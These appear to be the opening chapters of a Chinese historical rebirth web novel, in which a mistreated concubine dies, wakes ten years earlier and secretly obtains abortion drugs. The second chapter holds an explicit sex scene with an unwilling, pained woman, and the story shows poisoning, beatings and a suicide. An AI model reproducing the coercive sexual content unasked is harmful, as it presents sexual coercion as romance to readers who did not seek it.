《太子甚爱玉腰》
1. 001
嘉定六年的腊月三十天色阴沉,乌云翻滚,扯絮一般的雪沫子夹杂着凄风冷雨。
余姚抱住自己的膝盖,蜷缩着坐在冰冷的硬砖上,仰头从冰裂纹窗棂格的缝隙里望去。
这座偏僻院落,中间有一棵枯瘦的枫树。枫叶经霜雪不凋,鬼爪似的叶子在寒风中簌簌作响。
忽听吱呀一声门被打开,走进来两个仆妇,她们从竹篮里拿出来一碗粥,重重搁在她面前。
“余姨娘,吃饭了。”
余姚眼睛都没抬,不过一个月的时间,便可以用形销骨立来形容。
她不用看就知道,那碗里面是一层冷粥,漂着两根发黄的菜帮子,馊味闻得人作呕。
“姨娘金贵,嫌馊就别吃了。”仆妇说着,一把抓起那碗粗暴收进了竹篮中。
旁边那仆妇眼见不忍,道:“留给她吧,她也怪可怜。以前好歹是大爷跟前伺候的。”
那老仆妇对着余姚的侧脸狠狠啐了一口,“她原先就是那肮脏地方出身,长得狐媚子脸,害得大爷与大夫人离心。现在好了,她总算遭到报应了。”
余姚听了好一会,她握紧了拳头,想到春花生死未卜,她声音沙哑:“是我错了,各位好心的姐姐们,你们知道我身边那个春花怎么样了吗?她......还活着吗?”
老仆妇还要骂,见她不费力气脱下了手腕上的两只白玉镯递过来,连忙接过来对着手腕比照,喜笑颜开说:“春花姑娘啊,她前两天牙尖嘴利怒骂夫人,被当众打死了。”
什么?
余姚听闻噩耗,唇上、面上血色尽褪。
婆子们瞥了她一眼,假惺惺道“那是没良心的东西,姨娘千万节哀。”便推门离开了。
树倒猢狲散,没想到春花还是没能逃脱死亡。
也是,谢凭的新夫人小薛氏早视她为眼中钉多年,如今她失势,余姚若是她,也会‘趁你病,要你命’。
想必自己死期将近了吧,余姚心想。
果然第三日,仆妇们脸上带着得意的笑容,给她摆菜,竟然满满当当一桌。
余姚的视线落到面前一只色红油亮的烤全鸡上,垂下眼眸。
“余氏。”门口传出一个女声。
余姚抬头,一个锦衣华服的小妇人走了进来,她没有带婢女,屋子里只有两人对视。
正是谢凭继妻,小薛氏。
“夫人,这是我的断头饭吗?”余姚问。
小薛氏没有回答,反而自顾站在那里,逆着光,看不清脸色。
许久,见她不动,小薛氏才说:“饭菜里没下毒。”
余姚还是没动,她哑声问:“谢凭呢?”
闻言,小薛氏笑了,“夫君奉旨前往东南剿倭匪,前些天送来家书,明年三月可回。”
明年三月?
看来自己是活不到那时候了。
小薛氏见她脸色倒不曾露悲,心中一沉,面上轻笑:“余氏,你知道夫君如今位高权重,还是本朝太子最重视的从表兄弟,你不会蠢到,以为他什么都不知道吧?他知道你被关进这偏院,知道你不分昼夜拍门,也知道你在这缺衣少食、被下人苛待。”
余姚听了闭上眼。
不,还不止。
谢凭还知道害死他们长子的真凶是谁,可他一直纵容、漠视。
余姚听到下人来报,儿子谢岸吃错了东西,突发恶疾暴毙。
她不顾身份体统闯到镇北侯府之中,连滚带爬去掀开白色的裹尸布。
余姚摸着儿子冰冷的尸体、乌黑的嘴唇,哭得肝肠寸断。
她听见儿子的生父谢凭在对管家吩咐,“准以嫡殇礼下葬,未及弱冠而夭,毋使他入祖茔。”
余姚当即指着小薛氏,斥她凶手,谢凭却背过身去,挥手吩咐两个健壮的武婢将余姚制住。
他说:“你不过是个伺候人的扬州瘦马,‘自安卑贱,曲事主母’你都学到哪里去了?既然不懂得规矩,那就好好冷静冷静,日后不得我令,便不许出来!”
余姚便被堵住嘴,绑住手脚,捆到了镇北侯府里最偏远的小院子里。
“其实,若非咱们都生下了儿子,咱们能成为手帕交,也未可知。”小薛氏直勾勾盯着余姚。
余姚伸出手将自己耳边的鬓发撩到耳后,“不可能,你爱谢凭,世界上有东西可以分享,有东西不可以。你只会恨我。”
小薛氏说,“你是扬州瘦马出身,本就卑贱,我为人妻室,这点容人之量还是有的。”
余姚不信,“你容不下我的孩子,是你毒死了他。”
小薛氏轻勾唇角,露出了一个出残忍的笑:“是,是我动手,谁叫宗哥儿太聪明了?他七岁就中了秀才,比夫君还早一年!我们家需要的带有薛家血脉的侯府世子。余氏,你恨不恨我?”
“我不恨你,我只恨自己,识人不清。何况你的手上沾染的人命,将来都化作厉鬼,索你孩儿性命!”余姚垂眸。
提到孩子,小薛氏那张完好如玉的脸庞似乎出现了丝丝裂痕,她眸底杀机尽显:“要索命也不该只索我和我儿子的命,谁说手上没沾血的,就不是杀人凶手了?宗哥儿的死,世子漠视也有分!”
“夫人,你怎么处置我?”余姚问。
小薛氏怀疑她是不是被儿子的死刺激到了,竟然能这么冷静地问出这话。
小薛氏抬手在自己珠翠整齐的鬓发上抚摸两下,“怪不得世子对你念念不忘,你都人老珠黄了,一身皮肉还令人垂涎不已。勾得谢家男人使尽浑身解数,不管老的、少的,尽数拜倒在你的罗裙下。也罢,我做好人,最爱成人之美了——”
“来人,伺候余姨娘梳洗,洗的干干净净,才好送到公爹房里伺候——”
余姚被人按住,挣扎不得,她瞧见小薛氏露出带有恶意的笑容,满意离去。
余姚被婆子们死死压住了,然后狠狠摁进浴桶里,连连呛了好几口水。
这些婆子都是小薛氏从薛家带来,身契与一家老小的性命尽数捏在小薛氏手中。为着向小薛氏表忠心,都恨不得下死手磋磨她。
婆子笑道:“余姨娘,夫人慈悲,饶你活命,你可得日日感念才是。”
她忽觉耳朵传来一阵尖锐的疼痛,转目一瞧,原来是婆子们攥住一串鎏金耳串往她已经闭塞的耳洞里塞,弄得血赤糊拉。
婆子们给她梳洗干净,又穿戴好衣裳。婆子们笑着恭贺道,“姨娘的东风要来了,等着夜里就送你去。”
笑容里夹杂着满溢的恶意。
婆子们出去,在门上落了锁。
余姚虽然没被捆着,但她多日来未进水米,一站起来就头晕眼花。
十年前,余姚
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是江南扬州刘家大宅里,教养妈妈刘氏手里最得意的“瘦马”。
刘妈妈说,捡到余姚时,她才八岁上下,浑身脏兮兮,额头上还伤了块皮。没成想洗干净了一瞧。
啧啧,小小年纪,模样生得俊,是那一批小娘们里青春颜色都拔尖儿的。
因此没有沦落到塞进肮脏私窑子里,反而聘请名家教习吹拉弹唱、读书认字、烹煮女红等。
等到了二七上下的年纪,在一众宛如菜地里鲜嫩碧绿的水葱样的姑娘里,余姚除了丹青、琵琶,余者皆是平平,奈何模样、身段无不掐尖,自然头一个献出来讨好云京来的巡按上官。
谢凭见了她,静坐在那喝茶,任她施尽浑身解数,也不抬眼。
原以为这人瞧不上自己,她定然是难逃要去伺候那些秃顶大肚的老官员了,没想在她退下之际,竟然叫停她。
“叫什么名儿?”
她款款下拜,“回爷的话,奴家玉腰奴。”
深衣锦袍的公子把一只天青色汝窑莲花茶盏搁在束腰方桌上,他抬眸,神情疏淡,深邃冷硬的眉眼,瞬间闪过一丝光亮。
他从宽袖里拿出一只深褐色的檀香盒子,打开来取出一支水汪汪的素钗。走上前来簪在她头上,欣赏了一会,说:“不错。”【1】
她就这样搭上了谢凭,等过了门,做了夫妻后,她才知道自己究竟搭上了怎样一个权势滔天的男人。
他是云京镇北侯府谢家嫡长孙,就是那个出了十七位宰相、三十位皇后的谢家。
她跟了谢凭,从此改名换姓,为他生儿育女,陪伴解闷。
余姚从身上撕下半截衣裳下来,又咬破手指作笔,在那截衣裳上写了什么。
听见外面脚步声,她连忙将那截衣裳揉成一团,塞进了话本子里其中一层,塞进了架子床之间的夹缝中。
房门被人推开,惊起飞雪碎玉,来人是两个婆子,一人提灯,一人撸起袖子上前来拿住余姚。
两个婆子脸色整肃,嘴角下垂,活似地地府讨命的夜叉鬼。
余姚被那粗壮婆子一把拽起,余姚像屠宰场的牛羊,被婆子用力牵走。行的是小路,来到主院,丫鬟们见怪不怪。
她们强迫余姚坐在陌生、华贵的床榻上,迫使她喝了口酒,最后皮笑肉不笑地带上了房门。
余姚浑身酸软,使尽浑身气力推开一旁的窗户,雪絮夹杂寒意,吹得人脑子清醒许多。
她抬起一只手,攥住了一块棋子大小的金制长命锁,惨笑了一声,含进口中,强吞入腹。
窗外飞雪肆虐,月华如练,到了时辰,漆黑的天幕炸开朵朵盛大绚烂的烟花。
腹内愁肠百转,痛若刀绞。
她“啊、啊”两声,再发不出声音,那长命锁虽圆润,到底划破了喉咙。
眼前的景象变得模糊,变得瞧不清,风雪声也一一消退。
谢凭......
“夭夭,你一生下孩子,我就纳你进府。”
“你我做夫妻,相守一世,从此免你余生惊、余生苦、免你余生无枝可依......”
可惜,她既没有留住十月怀胎生下的孩子,也没有保护好虽是主仆名,实为姐妹义的春花。
最后,把自己的性命也填了进去......
谢凭,你骗我......
2. 002
不知过了多久,耳边忽然被一阵剧烈的响声炸开,余姚捂住胸口,立即睁开了眼。
眼前是一扇巨大的竹窗,她躺在自己最喜欢的竹椅上,身上盖着一条白色狐皮毯子,窗沿下挂着长短不一的透明冰棱柱。
“汪汪~~”察觉到脚下有什么东西在乱拱,余姚低头,见到一只双耳漆黑、身上长着柔顺白毛的小犬。
她发现它又小又轻,自言自语道,“红豆,你怎么变得这么小了?”
身后响起一道娇俏的笑声,“姨娘,你被梦魇住了吗?这小东西是大爷前两天给你捉来的呢。”
余姚回头,“春花,你......”
她想说,你还活着,太好了!
但她忽然瞥见了一旁妆台上西洋镜中的自己,仿佛舌头打结,问道:“今年什么年号?”
春花蹲在她脚边,逗弄小狗,闻言想了想,说:“今年昌昭二十年啊。“
竟是十年前!
她嘴里重复着这个日期,瞧起来就像是疯魔了一样。
春花赶忙伸手去测余姚的额头,“姨娘,你是怎么了?没发热啊。”
余姚赶忙跳下竹椅,坐到了妆台旁。
余姚望着镜子中那张脸,肤色雪白,眼眸如琉璃般黑白分明,鸦黑的头发梳成未嫁女儿常梳的三小髻儿。
她仔细打量镜中自己的模样,逗乐了春花。春花噗嗤一声,道,“姨娘,你过了明儿,正好二八,春三月的桃花都没你生得鲜嫩,为何做出对镜自怜的姿态?”
余姚说,“春花,今年我才十五!”
春花不知道她惊喜什么,她道:“厨房准备了大爷和你爱吃的酒菜,你今儿穿哪件衣裳、要戴哪件首饰?大爷常说,叫你把头发梳起来,以前你小,过了明儿,就十六了。”
时下未嫁姑娘都留头发,只有已经嫁人的妇人才会把头发梳起来。
“你叫厨下别忙了,他不一定来我这,侯府那么大规矩,他又是长孙长子,再说,他的红颜知己多着呢,今儿这样好的日子,怎会来我这?”余姚漠声道。
春花被她突然沉寂下的情绪唬住了,她试探问:“姨娘,你跟大爷吵架了?”
余姚移开眼,看向窗外,“没有,我只是做了个可怕的噩梦。”
此处是云京城中,狮子街吐珠胡同里一座有四进的宅子。原本是一位旧宦的家宅,因犯了事,被官府收走。
直到一年前余姚跟着谢凭,从扬州来到云京,谢凭花了五千两银子买下。
这座名为‘余府’的宅子,正是谢凭金屋藏娇之所。
今日是除夕佳节,云京中灯火通明,待在房间里隐约还能听见锣鼓喧天。
余姚想到自己死的那一夜,正是除夕。
一个冰冷的雪夜。
就在春花带着侍奉的小丫鬟们分发碗盏杯碟,放置在东侧间里用餐。
余姚正要招呼春花一起用饭,没成想门口的小丫鬟跑着进来说:“姨娘,大爷来了。”
‘啪’地一声,余姚手中的银筷就落到了桌面上,滚下地面。
谢凭?
今夜是除夕,他怎么会来这?
余姚心中惊疑不安,也容不得她多想什么,她跟着守门丫鬟一起向外走。
谢凭是真的很忙,他一个月会来四次,还从来没有过除夕来她这的先例。
“人呢?”余姚问道。
守二门的是个会些武艺的婆子,她回说:去浴间洗漱了。
“谁在跟前伺候?”
“秋月姑娘。”
难怪。
余姚记得前世,自己和谢凭几天才见上一面,但谢凭却对自己违反他制订规则一清二楚。
看来她身边的人,谢凭的耳目正是秋月无疑。
她惴惴不安在东侧间等,只觉得度秒如年。
“夭夭。”
余姚心中惊骇,抬眼看去,门口站着一个身姿挺拔、高大的男人,身披灰狐黑底边际织金披风,一张威严俊朗的脸映入眼帘,鬓若刀裁、眉眼威肃。
宛如一把劈开风雨的利刃,严肃冷硬。
正是谢凭。
余姚对他有怨,但此时决不能表表现出来,打草惊蛇。
她站了起来,唤道:“爷今夜怎来了,妾服侍你用饭。”
谢凭抬手道:“不急。”
而后侧过脸,对秋月道:“我有事要审,你去将宅子里的人都叫到大院子里。”
余姚心中惊疑不定,她连忙回想起自己最近有没有做错什么事。
还没想出来,秋月来报“爷,人齐了。”
谢凭大步过来,牵住她一只手腕向外走,他步子快,她艰难跟上,到了外院,他松开手。
余姚将手臂缩回,在自己腕上摩挲两下。
眼见谢凭坐在了屋檐下一只紫檀木制的直线太师椅上,声音严肃:“厨房的人出来。”
台阶下的人群中,最左方有三四个粗使婆子向前一步走了出来。
谢凭再问:“三日前,姨娘在厨房做汤,你们为什么不拦?姨娘年轻,很多事都不懂,但尔等都是侯府迁出来的老人,既然知道尊卑有序,就该知晓,什么事情要做,什么事情不要做。”
厨房的婆子们战战兢兢,却没有一个人敢出声求饶。
“既然如此,厨房伺候的,每人罚俸两月,杖十。”
谢凭话音刚落,就见到他身边服侍的一个小厮带着三四个彪形大汉,将人扭送到一旁的凳子上打了起来,因为堵住嘴,连叫都不出来。
“爷,那日是妾想做汤送您,品尝妾的手艺,都是妾的授意,她们不敢拦。”说着余姚就要下去拦住那些正在执行杖刑的一行人。
途径谢凭的时候,却被他一把扯住手腕,她挣脱不得。
“急什么,还没审完。”说着,谢凭手上用力,将余姚扯到旁边站着。
那股迫人的目光落到了每个人身上,谢凭仕途顺畅,久居高位,身上官威日重。
“昨日,看守大门的人是谁?为什么没能看好门,放进来了无关紧要之人?”谢凭声音平平缓,却无人敢轻慢。
“噗通”一声,两个身穿一样装束的小厮便跪倒在地,“大爷,我们本来要将那个老乞丐赶走的,可是余姨娘见老人可怜,对那老人说,日后如果生计困难,便可来家中吃上一顿饱饭。”
谢凭冷笑:“姨娘小,不晓事,你们都是死人不成。分明看门不力,竟还将一切责任推到姨娘身上,可见奸诈狡猾,长风,将二人堵嘴,捆进柴房,明日找来人伢子发卖!”
“是!大人。”
余姚知道谢凭身边,有两个最得力的小厮,与他一起长大,就像是肉身与灵魂之间的关系。
年长些的叫长风,年幼的那个叫有信。
“这几人的下场,你们都看清楚了吗?光是看清楚可不够,合该记在心肝上才是,规矩就是规矩,没有规矩不成方圆。我非是苛责之主,尔等尽心侍奉,自然相安无事。”谢凭说完,任站在台阶下的人群跪在地上磕了个头,这才抓着余姚的手腕往二门里走。
“今夜爷怎有空来妾这?”余姚一边问,一边尝试将自己的手腕从男人手中抢回来。
谢凭就像是没有感觉到她的抗拒,不仅没有撤开手,反而一用力将她拉进了东侧间。
望着那一桌冷掉的饭菜,余姚没有半分迟疑,道:“妾叫厨房的人去暖菜。”
谢凭却没松开她的手,那双深邃的眼眸反而更加更加炽热,“等会吃。”
说罢,他一挥手,屋子里所有的丫鬟都低眉臊眼地组成一队,走了出去,站在队伍最后的春花,担忧地侧过头来看了看余姚。
事实上,不管是春花,还是余姚自己,她作为谢凭的外室,连他的妾室都算不得,都无法去拒绝他的任何要求。
因为大曌朝的规矩的是,妾室需要往官府送上立妾文书,一式两份,官府和夫主一人一份。
夫主,乃至夫主的妻子,对隶属于夫主的女人都有着绝对的处置权。
余姚被谢凭横腰抱起,放倒在藤式架子床上。
忽
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然身后伸出来一只宽大、修长的手掌,隔着她的手放在她的腹部。
接着,她的后背被一个宽大的怀抱抵住,一股似有若无的香味像深海,要把人溺毙其中。
“爷......”她推搡,觉得他的触碰像毒蛇缠颈,令人战栗、阴冷。
谢凭声音喑哑,纠正她:“青云。许你这么叫。”
他姓谢,名凭,表字青云。
“专心些。”
明明是文臣,却比武将更凶猛,逞凶得厉害,刀在手,箭在弦,只难令美人心折。
余姚从没想过和谢凭在房事上还会遇到这样的难题,艰涩难行,他尝试取悦,她仍旧没能为他敞开心扉。
她能感受到谢凭变得粗暴、撕咬,像是撕开伪装的野兽。
她疼他也疼,但他还在进,余姚疼得眼前都冒金星了,她没吭声,因为她知道谢凭不会放过掉进嘴里的肥肉。
余姚想起了芍药教授过‘美色是刮骨的钢刀,也是男人摔跟头蜘蛛网’。
她咬着唇,最后闭上眼睛,幻想自己身上只是一个嫖客。
他仿佛浑身上下的都是坚硬的,用力时鼓起的肌肉、他试图挑起情欲的手、唇舌、轻轻啃咬的牙齿,令人觉得所到之处燃起了熊熊火焰。
......
风助火势,熊熊燎原。
不知做了多少次,两个人的肌肤上都是淋漓的水,分不清什么是汗水,什么是蜜液。
余姚背着身体侧躺,他没有退出去,坚硬且散发着情欲热气,抑制不住一个劲地往鼻子里面钻。
谢凭一只手臂伸长,被她枕在颈下,另一只手掌则是覆盖在她的肚皮上,缓缓摩挲。
“夭夭,你是不是长胖了点?”情欲未退谢凭的声音还有些东低沉、沙哑。
余姚听见这句话,直接吓得睁开了眼睛。
“你这个月的月事,是不是没有来?”谢凭缓缓说着,甚至突然凑近,然后在她的后颈轻轻啃咬。
细细密密的疼痛叫人忍不住蹙眉,余姚想起,宗哥儿就是明年十月份出生的。
也就是说,孩子已经在她的肚子里面两个月了。
余姚心跳如擂鼓,但她疯狂抑制住自己的声音道:“怎么会,你不是说妾太瘦了,要多吃点吗?”
谢凭说:“是吗?”
他轻笑一声,轻轻啄了一口余姚的侧脸说:“夭夭,你一生下孩子,我就迎你进府。”
豆大的泪水顺着她的脸部轮廓,最后统统流进了她头下的枕头中。
撒谎,分明生下来也养不大。
他是好孩子,出生就没叫她受罪,一会就生出来了。
一生下来,没等来进府的消息,反而孩子被侯府抱走,一年能见个几面都奢侈,侯府规矩大,生母近在眼前也只能得一声“姨娘。”
不,不能等下去了,下个月一定要堕了他。
有他在谢凭的手上,她受制于谢凭更多,若如此,老天爷叫她重生,岂非就是一场笑话?
又躺了一会儿,两人起身叫水擦洗,余姚想躺下来睡,却被谢凭叫起,他从春花捧着的木托盘端了个青花碗,里面装着白胖的饺子。
“今夜本要守岁,便算了,但还是要吃些饺子。”谢凭道。
余姚拗不过,只能吃了一个,她又累又困,把碗往木托盘上一推。
“不成,除夕要吃双数,单数不吉利,再吃一个,图个吉利。”谢凭把那碗饺子又往她怀里塞。
余姚面露恼色,冷着脸再吃了一个。
谢凭笑道:“夭夭,盼咱们年年有今日,岁岁有今朝。”
余姚不回应他,谢凭把她剩下的饺子用完了,下人退下熄了灯烛,房间内又恢复黑暗。
次日,谢凭走后。
余姚单独留下了春花,叫春花偷偷去怡红院找芍药,叫本月初五起在护国寺碰面。
夜里安寝的时候,余姚特地摒开了秋月。
“都妥当了。”春花道。
余姚心中石头落地,她心中忧愁参半。
3. 003
她回想上一世腹中的孩子,是昌昭二十一年,也就是今年一月初十,谢凭那天休沐,突然带回来一个山羊胡的老大夫为她把脉,这才发现她有孕了。
今天初一,还有九天。
临到一月初五这日,余姚用的借口正是前往护国寺求子,只带了春花与驾驭马车的小厮,主仆三人动身前往护国寺去。
新春不久,路途依旧结满厚厚一层冰霜,屋舍瓦台、林木宽道,俱成就了一个剔透的琉璃世界。
小厮将马车停靠在山寺下,这护国寺建在紫金山顶,共有台阶三千道。
青石板堆砌的台阶上结满冰霜,寺院中的小沙弥已经在台阶上铺满厚实、干燥的稻草。
小厮劝说了几遍不成,最终胆战心惊地看着这个貌美、顽固的姨娘扶着丫鬟春花,主仆俩各自拄杖,慢慢爬上台阶去。
余姚抵达山顶,看了看天色尚早,她便找了小沙弥指路,找到了寺院里供奉长明灯之所。
长明灯,又称冥灯。
往生者为已经故去的亲朋好友供奉的往生灯,供奉之处得名‘往生殿’。
来这里的供奉灯盏的人少,因为此处寺庙香火钱尤其贵,非达官贵人不供。
余姚出了大价钱,向掌管‘往生殿’里的老师傅捐了香火钱,讨要了两盏长明灯,她拒了春花陪同的请求,独自进了正殿。
过了许久,春花在殿外捧着暖炉,倒也不冷。
她听见殿门开启的声音,见到余姚走了出来,脸色泛白,神情含悲。
“姨娘,您这是怎么了?”春花连忙迎了上去,搀住了余姚的手臂。
“没事。”余姚走着,拂开了春花的手,脚步一深一浅地走着。
“慧能,你耍赖!明明就是我解出来师傅布置的作业。”穿着蓝灰色衣裳的一个小沙弥,在后面追着前面手里高举一张纸的伙伴。
两个小沙弥都是青黑的头颅,都没有受戒,他们跳着、闹着,活泼得像两只小喜鹊儿。
“姨娘,您慢些......”春花落在后面,地面结满了厚实的冰霜,人走在上面颤颤巍巍的。
余姚本上前走着,心中郁结,但她听见呼闹声,抬眉望去,远处那小沙弥衣着单薄,嗓音沙哑,咧开嘴开怀大笑......
真像,她的宗哥儿。
余姚站在原地,痴痴望着那开怀哈哈大笑的小沙弥,只是他看向她这边,笑意褪尽,只剩下惊恐——
“姨娘!”春花原本不顾湿滑,加快脚步希望能赶上余姚,没成想一抬眼却看见一个敦实的小沙弥竟往余姚怀中冲撞!
春花贴身伺候,怎可能不知她月信已经两月未至?
余姚感到自己被什么重物推开,冰面又如此湿滑,她的下身着地时,一股剧痛从她的尾椎骨蔓延开,腹腔里一股剧痛,下身似乎有什么东西在蔓延。
她仰面望着低垂的乌云,这是天意吗?
宗哥儿,没有叫她亲自动手送走,是意外.......
可她只疼了一会儿,那胖乎乎的小沙弥呢?那样的距离和力度,他合该倒在她的身上才是。
余姚强撑眼睛看过去,见到一截黑色丝绸的袍角,上面还织着繁复的金线。
小沙弥被一只修长犹如白玉的大手掌拎住,从她这个角度只能看清这双手的主人甲如美贝。
“娘子没事吧?”胖乎乎的小沙弥被那只手掌的主人挪开,站起身,一道宛若巍巍高山的黑影迅速笼罩住了她的眼。
天空飘落的雪花絮落进了她的眼睛,化作水,她看不清眼前的人,只觉得这个人真高,手真长,手真好看啊。
春花连忙跑过来,将她搀起来,好在她的肚子已经不那么疼了,她骤然爬起只觉得头晕眼花。
“多谢公子。”春花连忙福身下拜,而后搀扶着余姚就要了离开。
“等等!”身后有人叫停,春花和余姚都停住了脚步向后望去。
这下余姚可看清楚了这个人,哦不,是这个年轻公子。
他身量高瘦,一身黑色毛领披风,头戴深色大帽,耳旁垂下两撂红珠翆石流苏,脸庞窄瘦,眉目幽深,是一个年轻俊朗的富家公子。
他身后站着两个护卫模样的人,手臂后折撑在身侧腰刀刀柄之上,神情冷肃坚硬。
“恩公,多谢你相助。”以为他是见怪救的明明是她,却是身侧婢女相谢,余姚福身下拜,再谢了一次。
对面那年轻公子却盯住了她的眼睛,冷冽、深沉、余姚觉得有种被某种捕食者盯住的感觉。
“娘子……”这个年轻的公子轻声唤道,目光落到地上。
余姚和春花相视一眼,视线随着他落到雪地中那一小块被雪水洇湿的血迹上。
正是刚才她躺过的地方。
余姚一噎,她知道这当然不可能是月事,但在女儿家被男人撞见这种事,总归尴尬。
她愣住,看上去像一个傻乎乎的小鸟。
下一瞬,面前的黑衣男子抬手将取下了自己的黑色披风,走到余姚面前,递给她。
“姑娘披上吧,护国寺人多眼杂,多的是心地腌臜的人。”他没有继续说,但接下来的话余姚心知肚明。
她没逞强,再次福身一拜,笑容里多了真诚与恳切:“多谢公子借衣。”
余姚接过,问道:“妾敢问公子名姓,来日妾把衣裳洗净了,可原物奉还。”
没了披风,露出里面男人的里袍,一袭深黑宽袍,身姿挺拔、腰肢劲瘦。
他道:“言重了,不过一件衣衫,不必放在心上。年深日久,地厚天高,若是有缘,终有再见之日。”
说罢,他转身离去,衣角掀起碎琼乱玉。
果然风度翩翩,清风明月一样的人。
行出许久,黑衣公子忽然立住脚步,向远处望去。
“殿下,可有不妥?”侍卫上前,拱手问道。
“无事。”黑衣公子站立许久,衣裳上落满了雪花,他伸手拂去雪花,面无表情问:“你听过花开的声音吗?”
“什么?”侍卫以为自己听错了,下意识问道。
等他反应过来,立即跪倒在地:“奴才该死。”
“算了,起来吧。”黑衣男子转身回头,不再向后看,步履匆匆。
护国寺后山某处贵客居所,有一个身穿紫蓝色单衣紧脚裤的小僧弥走在前面,正为一个女客带路。
雪势渐小,寺院中一棵雪杉上栖息的白毛断尾山雀被一坨流动的雪块滴醒,忽而展翅向高空而去。
“玉腰,你疯了?”一声尖锐的女声从客房
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传出。
“芍药,你低声些,这又不是什么光彩事。”客房中,余姚单手贴着面前桌上一杯白地青花的茶盏子,淡淡道。
芍药曾经是扬州青楼最火的头牌花魁,梳拢过她的大人物不知凡几,她曾受聘担教导刘家大院顶尖‘瘦马’栽培。
她明面教丹青与琵琶,暗中也将闺中秘术倾囊传授。
那一批受教的‘瘦马’只有玉腰与牡丹。
后来二人云京相见,余姚对她曾有一段恩情,所以即使芍药后来在怡红院做大,二人也有联系。
芍药是真糊涂了,她不明白面前这个十六岁的美娇娘图什么?
芍药咬牙站起身道:“玉腰,你知道你当初搭上巡按谢大人,扬州秦楼楚馆里有多少人羡慕你吗?那可是将来能入凌烟阁的宰相根苗啊!你虽然眼前只能做个外室,凭他只许你留了种,足见他的情义了!”
“他家夫人常年缠绵病榻,你若生了儿子,这侯府你就进定了,从以色示人的玩意儿,到有名分,一步登天,你现在跟我说,你要自毁长城?”
余姚神色疏冷,“你不知道,芍药,这孩子是我的催命符,我留不得他了!”
芍药见她神色坚决,不似头脑不清醒的模样,她将目光又投向了一旁的春花,“春花,你不劝她吗?她肚子里生下来个带把的,那就是你们主仆俩后半生的倚靠。”
“芍药姊,我相信姨娘,她做的事都有缘由,我与她同命连枝,一根绳子上的蚂蚱,她死,我活不成。我劝不了她,只能由她。”春花叹息一声。
“你若不给,她定然还有别的法子能弄到药,镇北侯世子不是吃干饭的孬种,他有的是耳目与爪牙遍布京城,要是出了差错,咱们三个共赴黄泉。”
芍药惊骇交加,脸色青白变换,思虑清楚得失,她叹息,从宽大的衣袖下摸出三包药扔到桌上。
“只有两包堕胎药,还有一包藏红花,你看着办,玉腰。当初在扬州,我一见到你的脸,我就知道你一定能成气候,。咱们半师之谊,我劝你,男人宠你,但更看重子嗣,你手刃他骨肉,将来事发,你靠什么活命?”
“多谢你。”余姚伸出手去拾那两包药,“我与这孩子缘分浅薄,大错已经铸成,我正要拨乱反正。”
芍药恨道:“你疯了,富贵荣华你都不要!你装什么三贞九烈?”
余姚不答,带着春花一齐相互搀扶着下了山,上了马车,碍于隔墙有耳,春花不便相问。
等到马车开到寻常市井之中,途径一家香料坊,余姚叫了停。
她与春花下去买了一大包干茉莉香包,上了车,主仆三人一同驱车打道回府。
余姚回到房间里,想到今夜不是谢凭来日子,她干脆夜里只叫春花守夜,也不叫熄了茶炉子。
她一直在被窝里数着时辰,确认月上中天,窗外寒风呼啸。
她蹑手蹑脚把茶炉里的茶,倒进了临窗的一盆低矮的绿松盆栽中。
又把一包药塞进水里煮,她手持一把蒲扇缓缓扇着。
水尚未曾沸腾,门口春花忽然急促地拍木门,大声道:“姨娘,爷来了!”
余姚脑子“嗡”的一声,她的心脏扑通扑通跳个不停,她直接站起,手背直接挨到了茶壶上,烫得她狠狠打了个寒颤。
4. 004
夜凉如水,窗外风雪肆虐。
门扉被人从外推开,明月与飞雪同时入户,一身藏蓝色道袍的男人立在门口,灰色毛领上沾染了几片雪花,凌厉得令人心悸。
余姚听不见他的脚步声,她知道谢凭自幼习武,他这个人是谢家的宝贝疙瘩,但绝不是尸位素餐的酒囊饭袋。
谢凭体毛旺盛,脱了衣裳,腰腹往上胸膛处,有黑亮的毛发。
芍药说,这种体毛旺的男人,□□也盛,上了床,能叫女人欲生欲死,尤其是那把公狗腰,不出来是不会停的。
事实证明,芍药半点没看走眼,余姚跟他头一回,才一次就半死不活。
余姚心中七上八下,她知道谢凭不光文武双全,就连医术也有射猎,若是他闻出来了......
“夭夭。”黑夜中,谢凭的声音轻忽不定。
余姚心中有鬼,着实被这道声音吓得不轻,她眼睫轻颤,手掌不自觉捏紧。
忽然觉得一旁的床榻下陷,她的腰腹挨着一个发热的东西。
“既然醒了,还装什么睡?可是怕伺候我?”谢凭的声音原本离得远,但余姚一睁开眼,那张冷硬、俊俏的脸便近在咫尺。
余姚闻见浓郁的酒味,心中的巨石这才稍稍落定。
“爷说哪里话,有爷才有妾,爷是妾的天,妾怎么会不愿伺候您?只是您今日不休沐,怎不陪着夫人?”余姚装作才睡醒的模样,款款坐起身子。
“夫人缠绵病榻久矣,身子不好,为夫就由你偏劳伺候了。”
谢凭陡然如猛虎扑食,压住了余姚的大半个身子,他像雄性动物巡视领域,唇舌在她脖颈处逡巡,偶尔伸出红艳艳的舌头出来舔一舔,惹得余姚战栗不止。
也罢,若是一场激烈的情事悄无声息送走宗哥儿,亦是了结。
余姚被谢凭大半个身子遮住,她伸手去够床帐上的挂钩,还差一点。
原本动作强硬的男人忽然停住了动作,他推开余姚,强势拂开层叠的床帐,他静静跪坐在床榻上,一双凤眸雪亮又锐利!
许久,他启声问道:“夭夭,房间里什么味?”
他果然闻见了!
余姚觉得胸膛里那颗剧烈跳动的心脏震颤发抖,几乎要从喉咙里跳出来。
“哪里有什么味道?爷闻错了吧。”余姚一出声,就发觉出不对劲,她伸手撩开了自己一边衣襟,露出了半个白嫩、浑圆的香肩来。
而后柔软的身体蛇一样缠绕、紧贴住男人挺拔、坚硬的后背,白嫩、脆生如莲藕的纤细手臂游移到男人□□的胸膛处。
“如此良辰美景,爷不肯与妾共赏吗?爷来找妾,不为此?”
谢凭心弦震颤,仿佛被一双涂满红色蔻丹的青葱十指揉成纸团,又像是被一条娇憨可爱的青蛇一口吞噬心脏。
他用力拉开一段距离,站了起来,他太高了,头顶开红色的床帐,像志怪小说里误入妖精阵法中的迷途书生。
“余氏!告诉我,房间里是什么味道?怎么会有药味?你在藏匿什么?”谢凭站在床榻旁,与她不过咫尺之距,却好似远隔天涯。
谢凭隔着红色的床帐看她,眼底缠着细小的漩涡,又冷又冰,随时掀起惊涛骇浪。
余姚知道他起疑心了,必须要给一个解释,否则今夜的事没完没了,只会拔出萝卜带着泥。
她收敛了脸上的笑意,沉默起身,走向窗边一座茶炉,倒了一杯清茶,然后拎着茶壶的把手走向谢凭。
“是茉莉花茶的味道。”余姚听见自己冷静道。
